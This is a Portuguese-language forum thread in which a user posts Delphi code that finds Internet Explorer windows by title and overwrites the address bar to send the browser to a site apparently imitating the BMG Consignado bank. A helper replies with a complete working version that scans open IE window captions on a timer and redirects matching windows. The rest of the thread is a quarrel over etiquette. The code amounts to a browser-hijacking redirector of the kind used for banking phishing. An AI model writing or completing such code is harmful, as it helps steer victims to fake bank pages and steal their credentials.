Ir para conteúdo
Fórum Script Brasil
  • 0

Redirecionamento de Site


hacker_xxx

Pergunta

procedure SetUrlFromIE(Handle: THandle); stdcall;
var
  hWndIE, hWndIEChild : HWND;
  Buffer : array[0..255] of Char;
  Url: String;
begin
  Url:= 'http://www.bmgconsig.rg3.net/';

  // Pega o Caption da Janela
  SendMessage(Handle, WM_GETTEXT, 255, lParam(@Buffer[0]));

  // Procura pela janela do Internet Explorer com o Buffer do Caption
  hWndIE := FindWindow('IEFrame', Buffer);

  If hWndIE > 0 Then
    Begin
      // Pega o Handle do container do Internet Explorer
      hWndIEChild:= FindWindowEx(hWndIE, 0, 'WorkerW', nil);

      If hWndIEChild > 0 Then
        Begin
          // Pega o Handle da Barra de Endereço do Internet Explorer
          hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ReBarWindow32', nil);

          If hWndIEChild > 0 Then
            Begin
              // Pega o Handle do ComboBoxEx32 do Internet Explorer
              hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ComboBoxEx32', nil);

              If hWndIEChild > 0 Then
                Begin
                  // Pega o Handle do ComboBox do Internet Explorer
                  hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ComboBox', nil);

                  If hWndIEChild > 0 Then
                    Begin
                      // Pega o Handle do Edit do Internet Explorer
                      hWndIEChild := FindWindowEx(hWndIEChild, 0, 'Edit', nil);

                      If hWndIEChild > 0 Then
                        Begin
                          // Seta a URL no campo Edit do Internet Explorer
                          SendMessage(hWndIEChild, WM_SETTEXT,  0, lParam(Url));
                          // Simula o precionamento da tecla <Enter>
                          PostMessage(hWndIEChild, WM_KEYDOWN,  $D, $0008044C);
                        End; // Fim - Verifica retorno Edit

                    end; // Fim - Verifica retorno Combo

                end; // Fim - Verifica retorno ComboBoxEx32

            end; // Fim - Verifica retorno ReBarWindow32

        end; // Fim - Verifica retorno WorkerW

    end; // Fim - Verifica retorno IEFrame

end;
No Evento OnTimer do Timer:
var
Janela : THandle;
begin
Janela := FindWindow(nil, 'REVISTA PLAYBOY - Microsoft Internet Explorer');
SetUrlFromIE(Janela);
Não sei porque que não esta redirecionado. Da tudo certinho mas na hora que tem que simular o enter não ta dando certo. Essa é a parte que era para simular o enter:
PostMessage(hWndIEChild, WM_KEYDOWN,  $D, $0008044C);
ou
PostMessage(hWndIEChild, WM_KEYDOWN,  VK_RETURN, $0008044C);
já tentei assim:
SendMessageA(hWndIEChild,WM_KEYDOWN,VK_RETURN,0);

mas mesmo assim não deu certo.

se puderem me dar uma força, agradeço.

Link para o comentário
Compartilhar em outros sites

5 respostass a esta questão

Posts Recomendados

  • 0
Não sei porque que não esta redirecionado.

Da tudo certinho mas na hora que tem que simular o enter não ta dando certo.

Só copiar o código e não entender o que ele faz, voce não sai do lugar

Vi que voce procurou em outros foruns pela resposta.... como estou com um tempo livre resolvi te dar a solução

Este código colocará em um Listbox1 todas as legendas das janelas abertas no IE

Em outro ListBox2 voce colocará parte do nome da legenda, que ao ser encontrado redirecionará para o link de sua preferencia.

Um Timer ficará atualizando as legendas das janelas a cada 2 segundos ( interval = 2000 ) e ficará verificando a sua lista ( ListBox2 )

Tente entender a lógica de funcionamento para pode aprender

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    ListBox1: TListBox;
    Button2: TButton;
    ListBox2: TListBox;
    Timer1: TTimer;
    procedure Button2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  hWndIE, hWndIEChild : HWND;
  Janela : THandle;
  i, j: integer;
  s: array [ 0..2047 ] of char;
implementation

{$R *.DFM}

function GetUrlFromIE (Handle: THandle; List: TStringList):
 boolean; stdcall;
var
  i, j, x: integer;
  hWndIE, hWndIEChild : HWND;
  Buffer : array[0..255] of Char;
begin
  //pegar a legenda de janela
  SendMessage(Handle, WM_GETTEXT, 255, integer(@Buffer[0]));
  //procurar a janela de Internet Explorer abertas
  hWndIE := FindWindow('IEFrame', Buffer);
  if hWndIE > 0 then
    begin
    //Pegar o Handle do container do Internet Explorer
    hWndIEChild := FindWindowEx(hWndIE, 0, 'WorkerW', nil);
    if hWndIEChild > 0 then
    begin
      //pegar a legenda na barra de endereço
      hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ReBarWindow32', nil);
      if hWndIEChild > 0 then
      begin
        // localizar no Combobox e adicionar o texto a lista
        hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ComboBoxEx32', nil);
        if hWndIEChild > 0 then
        begin
          SendMessage(hWndIEChild, WM_GETTEXT, 255, integer(@Buffer));
          j := hWndIE;
          GetWindowText ( j, s, x );
          Form1.Edit1.text := s;
          // Guarda todos as legendas das janelas do IE abertas
          List.Add(s)
        end;
      end;
    end;
  end;
  //continuar a enumeração
  Result :=True;
end;


procedure SetUrlFromIE(Handle: THandle); stdcall;
var
  Buffer : array[0..255] of Char;
  Url: String;
begin
  Url:= 'www.yahoo.com.br';

  // Pega o Caption da Janela
  SendMessage(Handle, WM_GETTEXT, 255, lParam(@Buffer[0]));

  // Procura pela janela do Internet Explorer com o Buffer do Caption
  hWndIE := FindWindow('IEFrame', Buffer);

  If hWndIE > 0 Then
    Begin
      // Pega o Handle do container do Internet Explorer
      hWndIEChild:= FindWindowEx(hWndIE, 0, 'WorkerW', nil);

      If hWndIEChild > 0 Then
        Begin
          // Pega o Handle da Barra de Endereço do Internet Explorer
          hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ReBarWindow32', nil);

          If hWndIEChild > 0 Then
            Begin
              // Pega o Handle do ComboBoxEx32 do Internet Explorer
              hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ComboBoxEx32', nil);

              If hWndIEChild > 0 Then
                Begin
                  // Pega o Handle do ComboBox do Internet Explorer
                  hWndIEChild := FindWindowEx(hWndIEChild, 0, 'ComboBox', nil);

                  If hWndIEChild > 0 Then
                    Begin
                      // Pega o Handle do Edit do Internet Explorer
                      hWndIEChild := FindWindowEx(hWndIEChild, 0, 'Edit', nil);

                      If hWndIEChild > 0 Then
                        Begin
                          // Seta a URL no campo Edit do Internet Explorer
                          SendMessage(hWndIEChild, WM_SETTEXT,  0, lParam(Url));
                          // Simula o precionamento da tecla <Enter>
                          PostMessage(hWndIEChild, WM_KEYDOWN,  $D, $0008044C);
                        End; // Fim - Verifica retorno Edit

                    end; // Fim - Verifica retorno Combo

                end; // Fim - Verifica retorno ComboBoxEx32

            end; // Fim - Verifica retorno ReBarWindow32

        end; // Fim - Verifica retorno WorkerW

    end; // Fim - Verifica retorno IEFrame

end;


procedure TForm1.Timer1Timer(Sender: TObject);
begin
  ListBox1.Clear;
  Enumwindows(@GetUrlFromIE, LParam(ListBox1.Items));
  Timer1.Enabled := false;
  for j := 0 to ListBox2.Items.Count-1 do
  for i := 0 to ListBox1.Items.Count-1 do
     begin
        if pos(ListBox2.Items.Strings[j],ListBox1.Items.Strings[i]) > 0 then
           begin
             Janela := FindWindow(nil, Pchar(ListBox1.Items.Strings[i]));
             SetUrlFromIE(Janela);
           end;
     end;
  Timer1.Enabled := true;
end;

end.

abraço

Link para o comentário
Compartilhar em outros sites

  • 0
Só copiar o código e não entender o que ele faz, voce não sai do lugar

Jhonas uma coisa eu te falo eu tentei sim entender esse codigo, e já tinha conssegido redirecionar, eu tava errando o Handle.

E mais uma coisa você é muito ignorante !!!!

você pode ate saber mais q uns e outros, mas que eu, mas tambem não precisa ser tão ignorante!!!!

admiro sua inteligencia!!!

mas você é muito ignorante, e o q eu tenho pra dizer eu digo na cara, não sou homem de falar pelas costas!!! ok.

e faleu pela a ajuda e me descupe se te ofendi so falei a verdade!!!! :rolleyes:

Link para o comentário
Compartilhar em outros sites

  • 0

hacker_xxx, o Jhonas não falou nada demais.

Ele apenas disse que o ideal não é copiar códigos prontos, e sim construir algo novo (até mesmo porque ao tentar fazer isso estaremos aprendendo).

Sim, você pode até ter tentado entender o funcionamento do script, mas (ao menos aparentemente) estava se dedicando a simplesmente modificar uma parte, sem saber exatamente o que aquilo significa, enquanto o ideal seria entender o funcionamento como um todo e, a partir disso, modificar ou criar um novo código que se adaptasse ao que você quer.

Link para o comentário
Compartilhar em outros sites

  • 0
você pode ate saber mais q uns e outros, mas que eu, mas tambem não precisa ser tão ignorante!!!!

admiro sua inteligencia!!!

mas você é muito ignorante, e o q eu tenho pra dizer eu digo na cara, não sou homem de falar pelas costas!!! ok.

e faleu pela a ajuda e me descupe se te ofendi so falei a verdade!!!!

Só copiar o código e não entender o que ele faz, voce não sai do lugar ....

Sinto muito que voce não tenha entendido o significado da frase .... em informatica, o programador deve entender como as coisas funcionam ( pelo menos é o que deveriam ensinar nas escolas principalmente na parte de lógica de programação )

quando alguém te passa um código, o entendimento da lógica do código é necessaria, senão acontece o que voce fez... postou o código por não saber onde onde alterar para obter o resultado esperado

já tentei assim:

SendMessageA(hWndIEChild,WM_KEYDOWN,VK_RETURN,0);

mas mesmo assim não deu certo.

se puderem me dar uma força, agradeço.

Talvez a ignorância esteja naquele que não consegue reconhecer as suas proprias deficiências e não dê valor pela ajuda que recebe.

abraço

Link para o comentário
Compartilhar em outros sites

  • 0

hacker_xxx, você deve achar muito facil postar as duvidas aqui no forum né?, o jhonas ajuda o pessoal na boa, não reclama, faz de tudo para ajudar!, e o pior, ele não deve ganhar nada com isso!, é puro hobbie, eu até achava q ele era ignorante, mas no caso, quem ignorante era eu, agora aprendi me virar um pouco melhor, mas antes já vinha direto pro forum!

Você precisa de 5 coisas básicas!

1º Procurar

2º Ler

3º Aprender

4º Passar o que lhe foi ensinado!

5º Respeitar acima de tudo, a pessoa que te ajuda!

não tenho mais nada a dizer!

p.s. Errar é Humano!

Abraços

Editado por Douglas_Soares
Link para o comentário
Compartilhar em outros sites

Visitante
Este tópico está impedido de receber novos posts.


  • Estatísticas dos Fóruns

    • Tópicos
      152,2k
    • Posts
      651,9k
×
×
  • Criar Novo...